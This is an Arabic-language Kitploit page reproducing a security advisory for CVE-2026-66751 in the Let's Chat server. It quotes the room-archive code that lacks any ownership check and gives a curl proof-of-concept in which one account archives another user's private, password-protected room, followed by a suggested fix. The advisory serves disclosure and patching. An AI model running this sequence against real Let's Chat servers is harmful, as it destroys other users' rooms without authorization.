Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — استشارة أمنية: ضوابط الوصول غير الكافية تسمح بحذف الغرف دون تصريح (Let's Chat) | Kitploit
أدوات/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
المصادقة والترخيصتحليل الثغرات الأمنيةتحليل الكودأمن الويبالتعلم والتعليم
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

استشارة أمنية: ضوابط الوصول غير الكافية تسمح بحذف الغرف دون تصريح (Let's Chat)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
3منذ شهر واحدلم تتم المراجعة بعد

نشرة أمنية: ضوابط وصول غير كافية تسمح بحذف غير مصرح به للغرف (Let's Chat)

معرّف CVE المعيّن: CVE-2026-66751

الملخص

لا يُجري DELETE /rooms/:room أي فحص للتفويض يتجاوز اشتراط تسجيل الدخول. يمكن لأي حساب أرشفة أي غرفة على الخادم، بما في ذلك الغرف الخاصة والمحمية بكلمة مرور التي لا يُسمح لنفس الحساب بقراءتها أو الانضمام إليها أو تعديلها.

الأرشفة هي الطريقة التي يحذف بها Let's Chat الغرف. تختفي الغرفة من قائمة الغرف، وتُعيد الاستعلامات المباشرة 404، ويُرفض نشر الرسائل أو رفع الملفات إليها. لا يوجد مسار برمجي في التطبيق يعكس هذا الإجراء.

النسخ المتأثرة

Repo URL: https://github.com/sdelements/lets-chat

الثغرة موجودة بدءًا من 0.3.0 (الالتزام 5b5f46f، 2 يناير 2015، "Rooms are archived, instead of deleted") حتى 0.4.8، الإصدار النهائي. لا توجد نسخة مصححة.

ظهرت الغرف الخاصة والمحمية بكلمة مرور في 0.4.0، لذا فإن الحالة التي يدمّر فيها المهاجم غرفة لا يمكنه رؤية محتوياتها تنطبق بدءًا من 0.4.0 فصاعدًا. أما الفحص المفقود نفسه فيعود إلى 0.3.0.

تم التأكيد على الإصدار 0.4.8 عند الالتزام 617207f، وعلى docker.io/sdelements/lets-chat:latest (0.4.7).

التصنيف

CWE-862: غياب التفويض (Missing Authorization).

النتيجة الأساسية CVSS 4.0 هي 5.3 (متوسطة) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

نموذج التهديد

يحتاج المهاجم إلى حساب مستخدم عادي واحد ووصول عبر الشبكة إلى منفذ HTTP. لا يحتاج إلى امتلاك الغرفة أو الانتماء إليها أو معرفة كلمة مرورها أو الحصول على أي دور مرفوع الصلاحيات. التسجيل الذاتي مفعّل افتراضيًا (auth.local.enableRegistration في defaults.yml).

اختيار الهدف لا يكلّف شيئًا. يعرض GET /rooms الغرف المحمية بكلمة مرور لكل مستخدم حسب التصميم، لذا يمكن للمهاجم قراءة القائمة الكاملة لمعرّفات الغرف وأرشفة كل واحدة منها تباعًا.

التفاصيل التقنية

يتطلب المسار تسجيل الدخول ويجلب الغرفة المطلوبة، ولا شيء أكثر من ذلك. app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

يمرّر المعالج معرّف الغرفة فقط إلى أسفل سلسلة المعالجة. لا ينظر أبدًا إلى req.user. app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

لا يقبل المُدير أي وسيط مستخدم، لذا لا يمكنه التحقق من الملكية حتى من حيث المبدأ. app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

مسار التحديث المجاور يقوم بالتحقق من الملكية، وهو ما يجعل هذا الأمر يبدو كسهو وليس خيارًا متعمدًا. app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

يتوافق العميل مع القراءة الأكثر تشددًا. يقرر media/js/views/room.js:28-31 من يرى عنصر التحكم في التحرير، وزر أرشفة الغرفة (Archive Room) يقع داخل نافذة التحرير المنبثقة التي يفتحها عنصر التحكم هذا:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

بالنسبة للغرفة المحمية بكلمة مرور، لا يرى غير المالك الزر أبدًا. القيد موجود فقط في المتصفح.

إعادة الإنتاج

يتطلب rooms.private: true (أو LCB_ROOMS_PRIVATE=true) بحيث يمكن إنشاء الغرف الخاصة. الفحص المفقود نفسه ينطبق على كل غرفة بغض النظر عن هذا الإعداد.

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

الأثر

بعد الطلب، تختفي الغرفة من GET /rooms لكل مستخدم، ويعيد GET /rooms/:id 404، ويرفض messages:create و files:create التعامل معها (app/core/messages.js:28-30, app/core/files.js:55-57). لا شيء داخل app/ يعيد ضبط archived إلى false، لذا يتطلب الاسترداد وصولًا مباشرًا إلى قاعدة البيانات.

الإصلاح المقترح

مرّر المستدعي إلى المُدير وتحقق من الملكية قبل الأرشفة، بما يطابق ما يفعله update بالفعل. في app/controllers/rooms.js:217:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

وفي app/core/rooms.js:123، بعد فحص if (!room):

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
تنزيل الأداة